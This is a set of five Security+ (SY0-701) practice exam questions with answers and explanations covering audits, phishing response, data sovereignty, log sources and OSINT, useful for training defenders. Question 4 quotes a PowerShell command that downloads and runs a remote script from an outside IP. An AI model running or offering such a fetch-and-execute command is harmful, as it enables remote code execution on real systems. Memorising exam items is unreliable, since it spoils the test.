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CompTIA SY0-701 Exam Sample Questions

Question # 1

The Chief Information Security Officer (CISO) at a large company would like to gain an understanding of how the company's security policies compare to the requirements imposed by external regulators. Which of the following should the CISO use?

A. Penetration test

B. Internal audit

C. Attestation

D. External examination

Answer

D. External examination

Explanation:
An external examination (or external audit) is conducted by an independent, third-party auditor to assess an organization's compliance with regulatory requirements, industry standards, or legal obligations. This process provides an objective evaluation of how the company's security policies and practices measure up against external benchmarks (e.g., GDPR, HIPAA, PCI DSS). The CISO can use the findings to identify gaps, ensure alignment, and demonstrate due diligence to regulators.

Why the others are incorrect:

A. Penetration test:
This is a simulated attack to identify technical vulnerabilities in systems. It focuses on technical security flaws, not policy comparisons to regulatory requirements.

B. Internal audit:
This is performed by the organization's own staff to evaluate controls and compliance. While useful, it lacks the independence and authority of an external examination for validating adherence to external regulations.

C. Attestation:
This is a formal statement (often from the vendor or internal team) asserting compliance. It is not an objective examination and may not provide the detailed comparison the CISO needs.

Reference:
This aligns with SY0-701 Objective 5.3 ("Explain processes for third-party risk assessment and management"). External audits/examinations are critical for verifying regulatory compliance, as emphasized in frameworks like ISO 27001 (which requires external certification) and regulatory guidelines (e.g., PCI DSS assessments). They provide unbiased insights into policy effectiveness versus external demands.

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Question # 2

A security analyst receives an alert that an employee has clicked on a phishing email and exposed their credentials. Which of the following should the analyst do?

A. Notify all employees about the phishing attack and instruct them to avoid suspicious emails.

B. Wait for confirmation from the employee before making any changes to the account.

C. Reimage the employee's workstation to ensure no malware is present.

D. Lock the employee's account to prevent further unauthorized access.

Answer

D. Lock the employee's account to prevent further unauthorized access.

Explanation:
The employee's credentials have been exposed (e.g., entered into a fake login page). The attacker can now use those credentials to log in as the employee. The immediate, highest-priority action is to lock the employee's account (or reset password) to prevent unauthorized access, stopping further damage before any investigative steps.

Correct Option:

D. Lock the employee's account to prevent further unauthorized access –
This is an immediate containment action. The analyst should disable the account or force a password reset. This prevents the attacker from using the stolen credentials to access email, VPN, or other systems while the incident is investigated.

Incorrect Options:

A. Notify all employees –
Mass notification is a later communication step, not immediate containment. It does not stop the active credential compromise.

B. Wait for confirmation –
Waiting gives the attacker time to misuse the credentials. The analyst must act immediately based on the alert.

C. Reimage the workstation –
Reimaging may be needed if malware was installed, but the immediate priority is account containment (locking/resetting). Credential exposure does not always mean malware on the machine.

Reference:
CompTIA SY0-701 Objective 4.2 – Explain incident response steps. Containment (locking compromised accounts) is an immediate priority after credential exposure. (See also NIST SP 800-61, Incident Handling Guide, Section 3.2.3 – Containment.)

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Question # 3

Which of the following data types relates to data sovereignty?

A. Data classified as public in other countries

B. Personally Identifiable data while traveling

C. Health data shared between doctors in other nations

D. Data at rest outside of a country's borders

Answer

D. Data at rest outside of a country's borders

Explanation:

D) Data at rest outside of a country's borders is the correct answer.
Data sovereignty refers to the concept that data is subject to the laws and governance structures of the country where it is physically located. When data is stored (at rest) in a foreign country, it may be subject to that country's regulations, legal access, and surveillance, which can conflict with the data owner's home country laws. This is a critical concern for organizations that store data internationally, as it impacts privacy, compliance, and control.

Why the others are incorrect:

A) Data classified as public in other countries:
Data classification (e.g., public, internal, confidential) is an organizational policy decision, not directly tied to sovereignty. Sovereignty concerns arise from the physical location of data, not its classification.

B) Personally Identifiable data while traveling:
This involves data in transit or being processed across borders, but sovereignty primarily concerns data at rest (storage). Traveling with data may involve cross-border transfer rules, but the core issue is where the data resides.

C) Health data shared between doctors in other nations:
This involves data in transit or shared internationally, but sovereignty focuses on the storage location. While health data transfers are regulated (e.g., GDPR for EU data), the key sovereignty issue is where the data is stored.

Reference:
This question tests knowledge of Domain 5.1: Explain the importance of data protection and Domain 5.3: Explain the importance of policies to organizational security. Data sovereignty is a critical consideration in global data management, as emphasized in the SY0-701 objectives. It affects where organizations choose to store data to comply with legal and regulatory requirements.

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Question # 4

A security analyst reviews the following endpoint log: powershell -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString(http://176.30.40.50/evil.ps1") Which of the following logs will help confirm an established connection to IP address 176.30.40.50?

A. System event logs

B. EDR logs

C. Firewall logs

D. Application logs

Answer

C. Firewall logs

Explanation:
The PowerShell command downloads a script from http://176.30.40.50/evil.ps1. To confirm an established connection to that IP, the analyst needs evidence of network connectivity. Firewall logs (or network traffic logs) will show an outbound TCP connection from the endpoint to 176.30.40.50 on port 80 or 443, including timestamps, source/destination IP, and success status.

Correct Option:

C. Firewall logs –
Firewall logs record permitted and denied connections passing through the network boundary. An outbound HTTP connection from the endpoint to 176.30.40.50 will appear in firewall logs, confirming successful connection establishment (e.g., session allowed, bytes transferred). This validates that the download attempted in the PowerShell command likely succeeded.

Incorrect Options:

A. System event logs –
Windows System logs record system-level events (service start/stop, driver failures) but not individual network connections to specific IPs.

B. EDR logs –
EDR logs might capture process-to-IP association (as seen in the given log), but the question asks which additional log helps confirm the connection. Firewall logs provide independent, network-level confirmation. EDR already shows the command attempt.

D. Application logs –
Application logs (e.g., IIS, database) do not record generic outbound PowerShell HTTP connections.

Reference:
CompTIA SY0-701 Objective 4.2 – Explain data sources for incident response. Firewall logs provide network-level confirmation of connections. (See also NIST SP 800-61, Incident Handling Guide, Section 3.2.2 – Network Monitoring.)

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Question # 5

Which of the following can be best used to discover a company's publicly available breach information?

A. OSINT

B. SIEM

C. CVE

D. CVSS

Answer

A. OSINT

Explanation:
OSINT (Open-Source Intelligence) is the best method to discover a company's publicly available breach information. OSINT involves collecting and analyzing information from publicly accessible sources, such as:

News articles and press releases

Social media posts

Data breach notification websites (e.g., Have I Been Pwned)

Forums and dark web sites (where breached data may be discussed or sold)

Regulatory filings (e.g., SEC disclosures for public companies)

This approach leverages publicly available data to identify past or ongoing breaches that the company may have disclosed or that threat actors may have exposed.

Analysis of Incorrect Options:

B. SIEM (Security Information and Event Management):
SIEM tools aggregate and analyze internal logs and security events within an organization. They are used for detecting threats in real-time but do not provide information about public breaches outside the organization.

C. CVE (Common Vulnerabilities and Exposures):
CVE is a list of standardized identifiers for known software vulnerabilities. It does not contain information about specific company breaches.

D. CVSS (Common Vulnerability Scoring System):
CVSS provides a numerical score to represent the severity of vulnerabilities (e.g., CVEs). It is used for prioritizing patches but does not include breach data.

Reference:
This falls under Domain 2.0: Threats, Vulnerabilities, and Mitigations, specifically threat intelligence gathering. OSINT is a key technique for external risk assessment, as outlined in frameworks like NIST SP 800-150 (Guide to Cyber Threat Information Sharing). It helps organizations understand their exposure and learn from others' incidents.

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